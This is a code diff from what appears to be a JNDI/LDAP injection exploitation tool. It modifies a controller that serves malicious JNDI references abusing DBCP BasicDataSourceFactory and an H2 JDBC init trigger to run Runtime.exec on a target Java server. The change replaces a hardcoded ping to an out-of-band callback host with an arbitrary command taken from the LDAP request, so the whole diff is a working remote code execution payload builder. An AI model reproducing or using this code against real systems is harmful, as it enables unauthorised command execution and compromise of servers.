1
1
package com .feihong .ldap .controllers ;
2
2
3
+ import com .feihong .ldap .enumtypes .PayloadType ;
3
4
import com .feihong .ldap .exceptions .IncorrectParamsException ;
4
5
import com .feihong .ldap .exceptions .UnSupportedPayloadTypeException ;
5
6
import com .feihong .ldap .template .SpringMemshellTemplate ;
23
24
@ LdapMapping (uri = { "/h2bdsfc" })
24
25
public class H2BasicDataSourceFactoryController implements LdapController {
25
26
27
+ private PayloadType type ;
28
+ private String [] params ;
29
+
26
30
@ Override
27
31
public void sendResult (InMemoryInterceptedSearchResult result , String base ) throws Exception {
28
32
System .out .println ("[+] Sending LDAP ResourceRef result for " + base );
29
33
30
34
Entry e = new Entry (base );
31
35
e .addAttribute ("javaClassName" , "java.lang.String" ); //could be any
32
36
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
33
- javax .naming .Reference ref = tomcat_dbcp1_RCE ();
37
+ javax .naming .Reference ref = tomcat_dbcp1_RCE (params [ 0 ] );
34
38
35
39
e .addAttribute ("javaSerializedData" , Util .serialize (ref ));
36
40
@@ -42,26 +46,48 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
42
46
43
47
@ Override
44
48
public void process (String base ) throws UnSupportedPayloadTypeException , IncorrectParamsException {
49
+ try {
50
+ int firstIndex = base .indexOf ("/" );
51
+ int secondIndex = base .indexOf ("/" , firstIndex + 1 );
52
+ if (secondIndex < 0 ) secondIndex = base .length ();
53
+
54
+ //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
55
+ String payloadType = base .substring (firstIndex + 1 , secondIndex );
56
+ if (payloadType .equalsIgnoreCase ("command" )){
57
+ type = PayloadType .valueOf ("command" );
58
+ System .out .println ("[+] Paylaod: " + type );
59
+ }else {
60
+ throw new UnSupportedPayloadTypeException ("UnSupportedPayloadType: " + payloadType );
61
+ }
62
+
63
+ String cmd = Util .getCmdFromBase (base );
64
+ System .out .println ("[+] Command: " + cmd );
65
+ params = new String []{cmd };
66
+ }catch (Exception e ){
67
+ if (e instanceof UnSupportedPayloadTypeException ) throw (UnSupportedPayloadTypeException )e ;
68
+
69
+ throw new IncorrectParamsException ("Incorrect params: " + base );
70
+ }
45
71
}
46
72
47
73
48
- private static Reference tomcat_dbcp2_RCE (){
49
- return dbcpByFactory ("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory" );
74
+ private static Reference tomcat_dbcp2_RCE (String cmd ){
75
+ return dbcpByFactory ("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory" , cmd );
50
76
}
51
- private static Reference tomcat_dbcp1_RCE (){
52
- return dbcpByFactory ("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory" );
77
+ private static Reference tomcat_dbcp1_RCE (String cmd ){
78
+ return dbcpByFactory ("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory" , cmd );
53
79
}
54
- private static Reference commons_dbcp2_RCE (){
55
- return dbcpByFactory ("org.apache.commons.dbcp2.BasicDataSourceFactory" );
80
+ private static Reference commons_dbcp2_RCE (String cmd ){
81
+ return dbcpByFactory ("org.apache.commons.dbcp2.BasicDataSourceFactory" , cmd );
56
82
}
57
- private static Reference commons_dbcp1_RCE (){
58
- return dbcpByFactory ("org.apache.commons.dbcp.BasicDataSourceFactory" );
83
+ private static Reference commons_dbcp1_RCE (String cmd ){
84
+ return dbcpByFactory ("org.apache.commons.dbcp.BasicDataSourceFactory" , cmd );
59
85
}
60
- private static Reference dbcpByFactory (String factory ){
86
+ private static Reference dbcpByFactory (String factory , String cmd ){
61
87
Reference ref = new Reference ("javax.sql.DataSource" ,factory ,null );
62
88
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n " +
63
89
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n " +
64
- "java.lang.Runtime.getRuntime().exec('ping basicdatasourcefatory.xxx.oastify.com ')\n " +
90
+ "java.lang.Runtime.getRuntime().exec('" + cmd + " ')\n " +
65
91
"$$\n " ;
66
92
ref .add (new StringRefAddr ("driverClassName" ,"org.h2.Driver" ));
67
93
ref .add (new StringRefAddr ("url" ,JDBC_URL ));
0 commit comments